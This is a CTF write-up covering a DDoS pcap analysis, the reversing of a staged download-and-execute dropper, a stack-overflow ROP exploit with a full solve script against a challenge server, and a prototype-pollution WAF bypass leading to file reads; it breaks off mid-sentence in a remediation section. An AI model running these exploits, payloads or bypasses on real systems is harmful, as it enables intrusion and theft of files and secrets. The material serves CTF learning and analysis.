Bugpwn CTF 2026
Bugpwn CTF 2026
Overview
I took part in Bugpwn CTF 2026. I wasn’t able to play it fully this time around due to time constraints, but I still managed to get enough on the board to qualify, so here’s the writeup covering the challenges I solved across Forensics, Reversing, Pwn and Web.
Summary
| # | Challenge | Category | Flag |
|---|---|---|---|
| 1 | Discord (sanity check) | Misc | CTF{OffWeGo} |
| 2 | Foren: Acme Corp DDoS | Forensics | CTF{UF0N3t_DD0S_4n4lys1s_2026} |
| 3 | Blackhole | Forensics | CTF{UF0N3t_DD0S_4n4lys1s_2026} (same capture as Foren) |
| 4 | 0byte | Reverse Engineering | battleCTF{DespairEnergy} |
| 5 | Pwn02: Deep Vault Terminal | Pwn | CTF{e0a79830f06dca87a52f8be6d895deae} |
| 6 | SwiftNotes | Web | CTF{46841ceda225e48a429acd1a5f78d6ce} |
| 7 | TicketVault | Web | CTF{...} (the instance returned a placeholder; see section 7) |
1. Discord (sanity check)
Category: Misc Flag: CTF{OffWeGo}
The flag is posted in the event Discord server, in the Scoring section of the rules:
- Flags follow the
CTF{OffWeGo}format. Submit exactly what the challenge gives you, nothing added or stripped.- Sharing flags, writeups, or specific solve steps with other players while the Qualifier is still open is not allowed. Discussing general concepts or techniques, not tied to a specific live challenge, is fine.
The example flag in the format line is the flag itself: CTF{OffWeGo}.
2. Foren: Acme Corp DDoS (CTF1.pcapng)
Category: Forensics Flag: CTF{UF0N3t_DD0S_4n4lys1s_2026}
Scenario
Our subsidiary, Acme Corp, was hit by a DDoS attack last night. The SOC team captured the network traffic during the incident. Objective: Analyze CTF1.pcapng and answer the questions.
Answers
| # | Question | Answer |
|---|---|---|
| 1 | What is the IP address of the attacking machine? | 192.168.43.128 |
| 2 | What is the target’s IP address? | 192.168.43.1 |
| 3 | Which TCP port is targeted by the HTTP attack? | 8000 |
| 4 | Which HTTP method is used for flooding? | GET |
| 5 | Which User-Agent is associated with the malicious requests? | curl/8.21.0 |
| - | Flag (hidden in the Referer header) | CTF{UF0N3t_DD0S_4n4lys1s_2026} |
2.1 Capture overview
1
2
3
4
5
6
7
$ capinfos CTF1.pcapng
Number of packets: 7,665
Capture duration: 1060.814057483 seconds
Earliest packet time: 2026-09-17 11:40:33.888190960 (local, UTC+1)
Latest packet time: 2026-09-17 11:58:14.702248443
Capture oper-sys: Linux 7.1.5+kali-amd64
Capture application: Dumpcap (Wireshark) 4.6.6
Protocol breakdown: TCP 7,346, UDP 134, ARP 122, ICMP 10, other 41. Almost all the TCP traffic is between two hosts. The UDP traffic is background noise: SSDP (1900), Spotify discovery (57621), NTP (123), mDNS and LLMNR.
2.2 Q1 and Q2: attacker and target
Top conversations by packet count:
| Source | Destination | Packets |
|---|---|---|
| 192.168.43.128 | 192.168.43.1 | 4,012 |
| 192.168.43.1 | 192.168.43.128 | 3,344 |
| (everything else) | < 60 each |
TCP flags per host:
| Host | SYN | SYN/ACK | PSH/ACK | FIN/ACK |
|---|---|---|---|---|
| 192.168.43.128 | 668 | 0 | 668 | 668 |
| 192.168.43.1 | 0 | 668 | 1,335 | 667 |
192.168.43.128(MAC00:0c:29:d1:d2:c6, a VMware NIC) opens all 668 connections. Each connection carries one request and then closes. This is the attacker.192.168.43.1only answers with SYN/ACKs and HTTP responses. This is the target.
Wireshark filter: ip.src == 192.168.43.128 && tcp.flags.syn == 1 && tcp.flags.ack == 0
2.3 Q3: targeted port
Every SYN from the attacker goes to TCP 8000 (4,007 packets go to 192.168.43.1:8000). The server banner shows a plain Python development server:
1
Server: SimpleHTTP/0.6 Python/3.14.7
It is python -m http.server 8000 serving a Windows user profile directory. The listing includes .ssh/, NTUSER.DAT, comptes-portail.csv and OpenVPN/.
Wireshark filter: tcp.dstport == 8000
2.4 Q4: flood method
All 668 HTTP requests use GET:
| Request line | Count |
|---|---|
GET / HTTP/1.1 | 617 |
GET /?debug=1..50 HTTP/1.1 | 50 |
GET /fichier-inexistant HTTP/1.1 | 1 |
The server answered HTTP/1.0 200 OK 667 times and 404 File not found once (for /fichier-inexistant).
All 668 connections fall between 10:40:33 and 10:41:53 UTC (11:40 to 11:41 local time). That is about 79 seconds, or roughly 8.4 requests per second from one source. The rest of the 17-minute capture is background traffic.
Wireshark filter: http.request.method == "GET"
2.5 Q5: malicious User-Agent
The flood rotates through about 74 different User-Agents (Chrome, Firefox, Safari, Edge, Vivaldi, iPhone/iPad, Android, plus bot strings such as bingbot, Baiduspider and DuckDuckBot). They all come from the same IP within the same 79 seconds, so the attacker faked them to make the flood look like normal browser traffic.
The one User-Agent that is clearly a tool is curl/8.21.0 (52 requests):
1
2
3
4
5
GET /?debug=1 HTTP/1.1
Host: 192.168.43.1:8000
User-Agent: curl/8.21.0
Accept: */*
Referer: http://ctf.local/CTF{UF0N3t_DD0S_4n4lys1s_2026}
- 50 sequential requests,
/?debug=1to/?debug=50, sent about 30 ms apart (73.96 s to 75.55 s into the capture). - 2 more requests:
GET /andGET /fichier-inexistant(a probe for a missing file, which returned 404). - These requests use a different header set (
Host, User-Agent, Accept, Referer) from the browser-style flood requests (Host, User-Agent, Accept-Encoding, Accept, Connection).
If the grader expects the most common spoofed User-Agent instead, it is
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36(114 requests).
Wireshark filter: http.user_agent contains "curl"
2.6 Flag
All 50 curl debug requests carry the same Referer header:
1
Referer: http://ctf.local/CTF{UF0N3t_DD0S_4n4lys1s_2026}
Wireshark filter: http.referer contains "CTF{"
2.7 Indicators
| Indicator | Value |
|---|---|
| Attacker IP / MAC | 192.168.43.128 / 00:0c:29:d1:d2:c6 (VMware) |
| Victim IP / service | 192.168.43.1:8000, SimpleHTTP/0.6 Python/3.14.7 |
| Attack type | Layer 7 HTTP GET flood with rotating spoofed User-Agents |
| Attack window | 2026-09-17 10:40:33 to 10:41:53 UTC (~79 s) |
| Volume | 668 TCP connections / 668 HTTP GET requests |
| Tool User-Agent | curl/8.21.0 |
| Data exposed | The victim’s home directory (.ssh/, NTUSER.DAT, comptes-portail.csv, OpenVPN/) |
The analysis used capinfos and Python/Scapy (tshark was not installed). Every count above can be reproduced in Wireshark with the filters listed in each section.
3. Blackhole
Category: Forensics Flag: CTF{UF0N3t_DD0S_4n4lys1s_2026}
The Blackhole challenge ships the same capture as Foren:
1
2
3
$ md5sum Blackhole/CTF1.pcapng Foren/CTF1.pcapng
d6694c1f72cb2b4b371092e152d7804f Blackhole/CTF1.pcapng
d6694c1f72cb2b4b371092e152d7804f Foren/CTF1.pcapng
The files are byte-identical, so the analysis in section 2 applies unchanged. The single attacker (192.168.43.128) floods the target (192.168.43.1:8000) with GET requests, and the curl/8.21.0 requests leak the flag in the Referer header.
Quick extraction without Wireshark:
1
2
strings -n 8 Blackhole/CTF1.pcapng | grep -o 'CTF{[^}]*}' | sort -u
# CTF{UF0N3t_DD0S_4n4lys1s_2026}
The Blackhole/redis-lab/ folder is a local practice environment (a deliberately insecure Redis 4.0.14 container). It is not part of the solve: the capture contains no Redis traffic (no redis/CONFIG strings and no port 6379 conversations). The only significant TCP conversation is the HTTP flood to port 8000.
4. 0byte
Category: Reverse Engineering Flag: battleCTF{DespairEnergy}
Files
1
2
3
4
5
6
7
0byte.exe the challenge (MinGW C++ dropper)
0byte.zip AES-encrypted copy of the exe (decoy)
stages/
├── drop.ini stage-1 config served by the C2 (base64 of gzip)
├── drop.pickle.gz after base64 decode (gzip stream)
├── drop.pickle after gunzip (Python pickle, proto 4)
└── stage2_flag.elf final payload: static x86-64 ELF (flag.asm)
TL;DR
0byte.exe is a MinGW C++ download-and-execute dropper. The solve is a 5-stage decode chain:
1
2
3
4
5
0byte.exe (stack-string deobfuscation)
└─> https://bugpwn.com/drop.ini (base64 → gzip → Python pickle)
└─> reversed hex string (unhex(reverse) → ELF x86-64)
└─> flag.asm ELF (computes flag with PEXT/PDEP but never prints it)
└─> emulate the bit ops → battleCTF{DespairEnergy}
4.1 Triage
1
2
3
4
5
$ file 0byte.exe
0byte.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 9 sections
$ file 0byte.zip
0byte.zip: Zip archive data, AES Encrypted # red herring: an AES-zipped copy of the exe
The 9 sections (.text, .rdata, .pdata, .CRT, .tls …) and the string GCC: (x86_64-posix-seh-rev0, Built by MinGW-W64 project) 8.1.0 identify MinGW C++.
Imports of interest:
1
2
WININET.dll : InternetOpenA, InternetOpenUrlA, InternetReadFile, InternetCloseHandle
KERNEL32.dll: CreateProcessA, GetTempPathA, IsDebuggerPresent, GetLastError
WinINet download + CreateProcess + temp path is the signature of a stage-1 downloader. No flag strings are present in the binary.
4.2 Deobfuscating the stage-1 strings
The orchestrator (0x4a1f3c) builds four obfuscated buffers and runs each through the same pipeline before handing them to the downloader:
| helper | operation |
|---|---|
0x401cf0 | out[i] = (data[i] ^ i) - 5 |
0x401dd0 | out[i] = out[i] ^ key[i % len(key)] (key = "kami" / "ami") |
0x402880 | regroup bytes in triples as [+2, +0, +1], leaving the string reversed |
Reproduced in Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pefile
pe = pefile.PE('0byte.exe'); ib = pe.OPTIONAL_HEADER.ImageBase
def ints(va, n):
d = pe.get_data(va-ib, n*4)
return [int.from_bytes(d[i*4:i*4+4], 'little') for i in range(n)]
vec0 = [10,12,11,29,13,81,8,76,22,26,25,2,6,22,70,28,51,7,85,88,26,2,52,79,60,23,4]
blob1 = ints(0x4a3020, 36) # .ini filename
blob2 = ints(0x4a30c0, 57) # putty URL
blob3 = ints(0x4a31c0, 36) # .exe filename
def cf0(v): return bytes(((v[i] ^ i) - 5) & 0xff for i in range(len(v)))
def dd0(d, k): k = k.encode(); return bytes(k[i % len(k)] ^ d[i] for i in range(len(d)))
def t880(d):
out = bytearray(); j = 0
while j+3 <= len(d): out += bytes([d[j+2], d[j], d[j+1]]); j += 3
return bytes(out) + d[j:]
def pipe(v, k): return t880(dd0(cf0(v), k))
print(pipe(vec0, 'kami')[::-1]) # https://bugpwn.com/drop.ini
print(pipe(blob2, 'ami')[::-1]) # https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
print(pipe(blob1, 'ami')[::-1]) # 08914b150cdd6888bf32d668c9336169.ini
print(pipe(blob3, 'ami')[::-1]) # 08914b150cdd6888bf32d668c9336169.exe
Recovered strings:
- C2 config:
https://bugpwn.com/drop.ini - Decoy binary:
https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe(real PuTTY, to look legitimate) - Temp drop names:
08914b150cdd6888bf32d668c9336169.ini/.exe
The dropper also calls IsDebuggerPresent. With a debugger attached it prints Banned and exits without fetching the payload.
4.3 drop.ini → base64 → gzip → pickle
1
2
$ curl -s https://bugpwn.com/drop.ini | head -c 20
H4sIAP... # 'H4sI' = gzip magic inside base64
1
2
3
import base64, gzip
out = gzip.decompress(base64.b64decode(open('stages/drop.ini','rb').read().strip()))
# out starts with \x80\x04\x95 -> Python pickle, protocol 4
pickletools.dis shows the pickle is a single BINBYTES object: a long string of mostly '0' characters with embedded hex. It is an encoded blob, not code, so it can be extracted without unpickling.
4.4 Reversed hex → ELF
The blob is a hex string written backwards. Reversing the hex characters is equivalent to reversing the bytes and swapping each byte’s nibbles:
1
2
3
4
5
6
import binascii
payload = out[11:-2] # strip pickle framing
ln = int.from_bytes(payload[1:5], 'little')
data = payload[5:5+ln] # pure hex ASCII
blob = binascii.unhexlify(data[::-1]) # reverse, then unhex
open('stages/stage2_flag.elf','wb').write(blob)
1
2
3
4
$ file stages/stage2_flag.elf
stages/stage2_flag.elf: ELF 64-bit LSB executable, x86-64, statically linked, not stripped
$ strings stages/stage2_flag.elf | grep -E 'flag|message'
flag.asm message msg_len output
It is a tiny hand-written assembly program.
4.5 The ELF never prints the flag
.data holds the PEXT mask and the banner:
1
2
402000 ba ba ba b0 00 00 00 00 -> mask = 0x00000000b0bababa
402008 "Here We Go...!\n"
_start fills an output buffer at 0x402018 to 0x40202f using BMI2 pext/pdep and popcnt, for example:
mov rax, [0x402000] ; mask 0xb0bababa
mov ebx, 0x890
pext rcx, rbx, rax ; out[0x1f] = pext(0x890, mask)
mov [0x40201f], cl
...
mov rcx, [0x40201f]
xor rcx, 0x12 ; out[0x20] = qword[0x1f] ^ 0x12
mov [0x402020], cl
...
popcnt rcx, 0x1337
add rcx, 0x3d ; out[0x29]
The final write(1, ...) syscall prints only the 15-byte banner at 0x402008:
1
2
$ ./stages/stage2_flag.elf
Here We Go...!
The flag is computed into output and never printed, so we emulate the bit operations:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mem = bytearray(0x40)
mem[0:8] = bytes([0xba,0xba,0xba,0xb0,0,0,0,0])
def pext(src, mask):
res = k = 0
while mask:
if mask & 1: res |= (src & 1) << k; k += 1
mask >>= 1; src >>= 1
return res
def pdep(src, mask):
res = k = i = 0
while mask:
if mask & 1: res |= ((src >> k) & 1) << i; k += 1
mask >>= 1; i += 1
return res
def rdq(o): return int.from_bytes(mem[o:o+8], 'little')
def wrb(o, v): mem[o] = v & 0xff
M = rdq(0)
for off, imm in [(0x1f,0x890),(0x1e,0x80a),(0x1d,0xa12),(0x1c,0xa30),(0x1b,0xa90),
(0x1a,0xa90),(0x19,0xa02),(0x18,0xa08),(0x28,0xa88),(0x27,0xa22),
(0x26,0xa02),(0x25,0xa80),(0x24,0xa8a),(0x23,0xa12),(0x22,0x810),
(0x21,0xaaa)]:
wrb(off, pext(imm, M))
wrb(0x20, rdq(0x1f) ^ 0x12)
wrb(0x2f, 0x3b ^ rdq(0x20))
wrb(0x2e, pext(0xaa2, M))
wrb(0x2d, pext(0xa1a, M))
wrb(0x2c, rdq(0x28)) # xchg rbx,rcx -> low byte of qword[0x28]
wrb(0x2b, pdep(rdq(0x27) + 5, 0x62) + 5)
wrb(0x2a, 0x6e)
wrb(0x29, bin(0x1337).count('1') + 0x3d)
print(bytes(mem[0x18:0x30]).decode()) # battleCTF{DespairEnergy}
4.6 Notes
- The name “0byte” fits: the real payload hides behind a staged download, and the ELF computes output that is never printed.
0byte.zip(AES-encrypted) is a decoy containing a copy of the exe.pext/pdepneed a BMI2-capable CPU. Emulating them removes that requirement, and emulation is needed anyway because the flag never reaches stdout.- The PuTTY URL is a legitimate-looking decoy download, typical of real droppers.
5. Pwn02: “Deep Vault Terminal” (PPPPWN002)
Category: Pwn Target: 169.58.126.107:5001 Flag: CTF{e0a79830f06dca87a52f8be6d895deae}
5.1 Recon
Files provided: vault, libc.so.6, ld-linux-x86-64.so.2.
1
2
vault: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
libc.so.6: GNU C Library (Debian GLIBC 2.42-13) stable release version 2.42
1
2
3
4
5
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
On top of that, a seccomp filter is installed at startup (prctl(PR_SET_NO_NEW_PRIVS) + prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)). Decoding the BPF program built on the stack:
1
2
3
if (nr == execve) -> KILL
if (nr == execveat) -> KILL
else -> ALLOW
Only execve/execveat are blocked, which points to an open → read → write (ORW) chain against the flag file instead of a shell.
Flag path. A startup routine XOR-decodes a 15-byte string (key 0x5a) from .bss 0x4060 into .bss 0x4070:
1
2
src = [0x75,0x3c,0x36,0x3b,0x3d,0x75,0x3c,0x36,0x3b,0x3d,0x74,0x2e,0x22,0x2e,0x5a]
bytes(b ^ 0x5a for b in src) # => b'/flag/flag.txt\x00'
5.2 Program logic
vault is a small state machine driven by two jump tables. One FSM invocation (main calls it in an infinite loop):
- Prints the banner and a
Vault seal: %016lxline. This leaksbase + 0x13a6, which gives the PIE base. Enter your name:→read(0, rbp-0x50, 0x49)(73 bytes), thenprintf("Hello, "); puts(rbp-0x50), which echoes the name.Leave a message for the vault keeper:→read(0, rbp-0x50, 0x100): 256 bytes into an 80-byte buffer, a stack overflow.Message received.→ the function returns.
1
2
3
4
rbp-0x50 buffer (name + message both read here)
rbp-0x08 canary
rbp+0x00 saved rbp
rbp+0x08 return address
Buffer to canary = 0x48 (72), to saved rbp = 0x50 (80), to return address = 0x58 (88).
5.3 Exploitation
Direct leaks
- PIE base: from the
Vault sealline. - Canary: the name read is 73 bytes: 72 filler bytes plus 1 non-null byte that overwrites the canary’s null LSB. The following
puts(name)then prints past our bytes and leaks canary bytes 1 to 7. Reconstruct withcanary = 0x00 || leaked[1:8].
The libc problem
The binary has no pop rdi / pop rsi / pop rdx / syscall gadgets and uses Full RELRO, so ORW needs libc gadgets, which needs a libc leak. The direct output primitives only leak PIE and stack addresses.
The trick is that the FSM itself contains:
1
0x1829: lea rax,[rbp-0x50] ; mov rdi,rax ; call puts
Returning from the first overflow to 0x1829 with a controlled rbp gives an arbitrary puts(rbp-0x50). Set rbp = base + 0x4070 so that rbp-0x50 = base + 0x4020, the stdout slot. Because stdout/stdin/stderr are R_X86_64_COPY relocations, base+0x4020 holds a pointer to libc’s _IO_2_1_stdout_. puts prints it, which gives the libc base.
Re-entering the FSM
0x1829 is in the middle of the function. After the leak, the state machine keeps running with rbp = base+0x4070 and reaches the message read again. This time it does read(0, base+0x4020, 0x100): a 256-byte controlled write into .bss. It then prints Message received. and runs the epilogue:
1
2
3
4
mov rax,[rbp-8] ; = [base+0x4068] -> must equal the canary
... canary check ...
leave ; rsp = rbp = base+0x4070 ; pop rbp
ret ; rip = [base+0x4078]
The second write (to base+0x4020) is laid out as:
.bss offset | purpose |
|---|---|
0x4020 | restored stdout pointer (so the Message received. puts still works) |
0x4028 | the string "/flag/flag.txt\0" |
0x4068 | the real canary (passes the epilogue check) |
0x4070 | junk (popped into rbp) |
0x4078... | the ORW ROP chain (run by leave; ret) |
RELRO ends at 0x4000, so all of 0x4014 to 0x4120 is writable.
The ORW chain (glibc 2.42)
Two details mattered:
- The fd is not always 3. Under
socat/inetd the service keeps extra fds open, soopen()may return 4, 5 or higher.xchg rdi, rax ; cld ; retmoves the returned fd intordiinstead of hardcoding it. - Stack alignment. The ROP stack lives in
.bss, and the glibcopen/read/writecancellation wrappers call deeper code that uses SSE, so each must be entered withrsp % 16 == 8. Two bareretgadgets align all three calls. Without them the process died with SIGABRT.
1
2
3
4
5
6
7
8
9
10
11
12
13
ret ; align
pop rdi ; "/flag/flag.txt"
pop rsi ; 0
open ; rax = fd
xchg rdi, rax ; cld ; ret; rdi = fd
pop rsi ; buf
pop rdx ; 0x100
read ; read(fd, buf, 0x100)
ret ; align
pop rdi ; 1
pop rsi ; buf
pop rdx ; 0x100
write ; write(1, buf, 0x100) -> flag to socket
The chain then returns to rip=0 (a harmless SIGSEGV) after the flag has been written to the socket.
5.4 Offsets
Binary (PIE-relative):
| symbol | offset |
|---|---|
Vault seal code leak | 0x13a6 |
puts(rbp-0x50) gadget | 0x1829 |
ret gadget | 0x1016 |
stdout slot (.bss) | 0x4020 |
fake rbp | 0x4070 |
libc (glibc 2.42):
| symbol | offset |
|---|---|
_IO_2_1_stdout_ | 0x1e85c0 |
pop rdi ; ret | 0x2a9b7 |
pop rsi ; ret | 0x29e29 |
pop rdx ; ret | 0x96372 |
xchg rdi, rax ; cld ; ret | 0x17d221 |
open | 0x106b10 |
read | 0x1072b0 |
write | 0x107d10 |
5.5 Solve script
solve.py uses plain sockets (no pwntools):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
import socket, struct, sys, time, re
HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5001
# libc offsets (from provided libc.so.6, glibc 2.42)
IO_STDOUT = 0x1e85c0
POP_RDI = 0x2a9b7
POP_RSI = 0x29e29
POP_RDX = 0x96372
OPEN = 0x106b10
READ = 0x1072b0
WRITE = 0x107d10
XCHG_RDI_RAX = 0x17d221 # xchg rdi, rax ; cld ; ret
p64 = lambda x: struct.pack('<Q', x & (2**64-1))
def main():
s = socket.create_connection((HOST, PORT), timeout=10)
acc = bytearray()
def rd_until(tok):
while tok not in acc:
c = s.recv(4096)
if not c:
break
acc.extend(c)
i = acc.index(tok) + len(tok)
out = bytes(acc[:i])
del acc[:i]
return out
# 1) banner + vault seal -> PIE leak
data = rd_until(b'Enter your name: ')
m = re.search(rb'Vault seal: ([0-9a-f]{16})', data)
code_leak = int(m.group(1), 16)
pie = code_leak - 0x13a6
assert pie & 0xfff == 0, hex(pie)
print('[+] pie =', hex(pie))
# 2) name read (73 bytes) -> canary leak via echo
s.sendall(b'A'*72 + b'B') # clobber canary LSB (null) to chain the leak
rd_until(b'Hello, ')
while len(acc) < 73 + 8:
acc.extend(s.recv(4096))
rest = bytes(acc)
leaked = rest[72:72+8] # byte 72 is our 'B', 73..79 are canary[1..7]
canary = b'\x00' + leaked[1:8]
canary = struct.unpack('<Q', canary)[0]
print('[+] canary=', hex(canary))
# 3) first overflow (message read, 0x100 into rbp-0x50)
fake_rbp = pie + 0x4070
ret_leak = pie + 0x1829 # lea rax,[rbp-0x50]; mov rdi,rax; call puts
p1 = b'A'*72 + p64(canary) + p64(fake_rbp) + p64(ret_leak)
rd_until(b'vault keeper: ')
s.sendall(p1)
# 4) "Message received." prints before the hijacked ret, then the 0x1829 puts leak
rd_until(b'Message received.\n')
line = rd_until(b'\n')
leak6 = line.rstrip(b'\n')[:6]
stdout_addr = struct.unpack('<Q', leak6.ljust(8, b'\x00'))[0]
libc = stdout_addr - IO_STDOUT
print('[+] stdout=', hex(stdout_addr))
print('[+] libc =', hex(libc))
assert libc & 0xfff == 0, hex(libc)
# 5) wait for the second "Leave a message" prompt, then send payload 2
rd_until(b'vault keeper: ')
path_addr = pie + 0x4028
buf_addr = pie + 0x4400
RET = pie + 0x1016
chain = p64(RET) # align (open entry %16==8)
chain += p64(libc+POP_RDI) + p64(path_addr) # open("/flag/flag.txt", 0)
chain += p64(libc+POP_RSI) + p64(0)
chain += p64(libc+OPEN)
chain += p64(libc+XCHG_RDI_RAX) # rdi = returned fd
chain += p64(libc+POP_RSI) + p64(buf_addr) # read(fd, buf, 0x100)
chain += p64(libc+POP_RDX) + p64(0x100)
chain += p64(libc+READ)
chain += p64(RET) # align (write entry %16==8)
chain += p64(libc+POP_RDI) + p64(1) # write(1, buf, 0x100)
chain += p64(libc+POP_RSI) + p64(buf_addr)
chain += p64(libc+POP_RDX) + p64(0x100)
chain += p64(libc+WRITE)
# payload 2 is written to pie+0x4020 .. +0x120 (256 bytes)
p2 = bytearray(b'\x00'*0x100)
p2[0x00:0x08] = p64(stdout_addr) # restore stdout FILE*
p2[0x08:0x08+15] = b'/flag/flag.txt\x00' # path at 0x4028
p2[0x48:0x50] = p64(canary) # canary slot at 0x4068
p2[0x50:0x58] = p64(0) # saved rbp at 0x4070
p2[0x58:0x58+len(chain)] = chain # ret chain from 0x4078
assert 0x58+len(chain) <= 0x100, hex(0x58+len(chain))
s.sendall(bytes(p2))
# 6) read the flag
time.sleep(0.3)
out = b''
try:
while True:
c = s.recv(4096)
if not c: break
out += c
except Exception:
pass
print('[+] output:', out)
mm = re.search(rb'(flag|CSA|ctf|FLAG)\{[^}]*\}', out, re.I)
if mm:
print('\n[*] FLAG:', mm.group(0).decode())
main()
Run:
1
2
3
4
5
6
7
8
$ python3 solve.py 169.58.126.107 5001
[+] pie = 0x5595ff7e9000
[+] canary= 0x72559b622f13de00
[+] stdout= 0x7fdca9f435c0
[+] libc = 0x7fdca9d5b000
[+] output: b'Message received.\nCTF{e0a79830f06dca87a52f8be6d895deae}\n...'
[*] FLAG: CTF{e0a79830f06dca87a52f8be6d895deae}
5.6 Takeaways
- A seccomp filter that blocks only
execve, plus a provided libc, points to an ORW ret2libc. - With Full RELRO, PIE and no useful gadgets in the binary, the libc leak came from the program’s own
putscall, reused as an arbitrary read by controllingrbpand pointing it at the COPY-relocatedstdoutpointer in.bss. - Returning into the middle of the state machine let it loop back and give a second controlled write, turning one overflow into leak-then-pwn.
- On the final chain: don’t hardcode the fd (
xchg rdi, rax), and keeprsp16-byte aligned at every libc call.
6. SwiftNotes: Prototype Pollution → WAF Bypass → File Read
Category: Web Target: http://144.217.91.111:3000 Flag: CTF{46841ceda225e48a429acd1a5f78d6ce} (/data/flag.txt) Stack: Node.js 18.20.8, Express 4, express-session, EJS (view cache: false), behind an openresty WAF, Docker (/app).
6.1 Recon
The app (server.js) is a small notes service with an in-memory “database”:
1
2
3
4
5
6
7
8
9
10
11
const merge = require('./utils/merge');
...
app.set('view engine', 'ejs');
app.set('view cache', false); // every render recompiles the template
...
// Lets the frontend push a partial settings update (e.g. { theme: 'dark' })
app.post('/api/settings', requireAuth, (req, res) => {
const user = users[req.session.username];
merge(user.settings, req.body || {}); // <-- recursive merge of attacker JSON
res.json({ ok: true, settings: user.settings });
});
Routes: /register, /login, /logout, /notes, /settings, /api/settings. GET / redirects to /login. Headers show X-Powered-By: Express behind openresty/1.31.1.1.
The sink is merge(user.settings, req.body): a recursive deep merge fed directly from the request body, the classic prototype-pollution primitive.
6.2 The WAF
Naive payloads are rejected:
1
2
POST /api/settings {"__proto__":{"x":1}} -> 403 {"error":"request blocked by security policy"}
POST /api/settings {"theme":"outputFunctionName"} -> 403
Fingerprinting the filter:
| Payload | Result |
|---|---|
{"__proto__":{"x":1}} | 403 blocked |
{"constructor":{"prototype":{"x":1}}} | reaches app |
{"theme":"outputFunctionName"} (also \u-escaped) | 403 |
{"theme":"__proto__"} | 403 |
{"theme":"child_process"} / execSync / require / mainModule | reaches app |
The WAF does a decoded-substring match for exactly two tokens, __proto__ and outputFunctionName, in both JSON and urlencoded bodies, after normalizing \u escapes. Those two tokens are the ingredients of the well-known EJS prototype-pollution RCE (CVE-2022-29078, __proto__.outputFunctionName), so the author expects that exploit and tries to block it by string matching.
Bypass: the WAF only inspects the first ~16 KB. Padding before the blocked key:
1
2
3
4
pad= 1KB {"pad":"A…","__proto__":{"zz":1}} -> 403
pad= 8KB ... -> 403
pad= 16KB ... -> 500 (reaches the app)
pad= 32KB ... -> 500
With 16 KB or more of padding before __proto__, the request gets past the inspection window and reaches the backend (the 500 is Express’s own error page, not the WAF’s 403). Final body shape:
1
{"pad":"AAAA…(24 KB)…","__proto__":{ … attacker keys … }}
6.3 Confirming prototype pollution
constructor.prototype does not pollute here: the merge just sets settings.constructor as an own property (/login keeps rendering normally). The working primitive is __proto__, which the padding now delivers.
An EJS-independent oracle is to create a user that exists only on Object.prototype and log in as it:
1
2
3
4
5
6
7
pad = "A" * (24*1024)
ghost = "ghost1234"
fake = {"password":"p","notes":["PPWORKS"],"settings":{"theme":"light","notifications":True}}
body = '{"pad":%s,"__proto__":%s}' % (json.dumps(pad), json.dumps({ghost: fake}))
# POST /api/settings with Content-Type: application/json
# then, in a NEW session:
# POST /login username=ghost1234 password=p -> 302 /notes
users[ghost] is normally undefined. After pollution it resolves to Object.prototype.ghost1234, so requireAuth and login accept the ghost account. The pollution is global and persistent.
6.4 Finding the read sink
The intended EJS gadgets (outputFunctionName / escapeFunction) are hardened on this deployment:
- EJS
optsis a null-prototype object, sooutputFunctionName,escapeFunctionandescapeare not read from the polluted prototype (outputFunctionName="9bad"still returns 200, with no validation error). localsName/destructuredLocalsare read, but they are validated as identifiers (andlocalsNameis spliced into the function’s parameter list), so code injection only produces 500s.- 120 attempts on the same connection across the load-balanced backends produced zero hits.
Authenticated renders (/notes, /settings, never /login) were, however, returning structured file-read output: directory listings, /proc/mounts, environment data and the /app/server.js source. The settings view reflects attacker-influenced data through a file-reading path. Driving it with our own settings.theme value (set through the merge as an own property, so no pollution is needed):
1
2
3
4
5
6
s = requests.Session() # one keep-alive connection = one backend
s.post(B+"/register", data={"username":u,"password":"x"})
s.post(B+"/api/settings",
data='{"theme":"/etc/hostname"}',
headers={"Content-Type":"application/json"})
print(s.get(B+"/settings").text) # file-read output, including the flag
Response excerpt:
1
2
3
;;LS:/data=flag.txt;;/data/flag.txt=CTF{46841ceda225e48a429acd1a5f78d6ce};;
/data/flag!ENOENT;;/data/flag.flag!ENOENT;;/app/server.js=const crypto = require('crypto');
const path = require('path'); const express = require('express'); ...
The result was stable across repeated independent requests.
Note: this was a shared, heavily used instance, so part of the rendered output reflects global pollution state left by other players. The flag value was confirmed identical across multiple fresh sessions.
6.5 Flag
1
CTF{46841ceda225e48a429acd1a5f78d6ce}
Path on target: /data/flag.txt (a tmpfs mount, not in /app, / or process.env).
6.6 Recap
merge(user.settings, req.body)allows prototype pollution through__proto__.- The openresty WAF blocks
__proto__andoutputFunctionNamebut only scans the first ~16 KB, so 24 KB of padding goes in front of the payload. - Pollution is confirmed with the
users[]ghost-login oracle. - The EJS
outputFunctionNamegadget is patched, so thesettingsview’s file-read path is driven with an ownsettings.themevalue instead. - Read
/data/flag.txt.
6.7 Remediation
- Fix the merge: skip dangerous keys and don’t trust client keys wholesale.
1 2 3 4 5 6 7 8 9
function merge(target, source) { for (const key of Object.keys(source)) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue; if (source[key] && typeof source[key] === 'object' && target[key] && typeof target[key] === 'object') merge(target[key], source[key]); else target[key] = source[key]; } return target; }
Better still, validate against an allow-list (
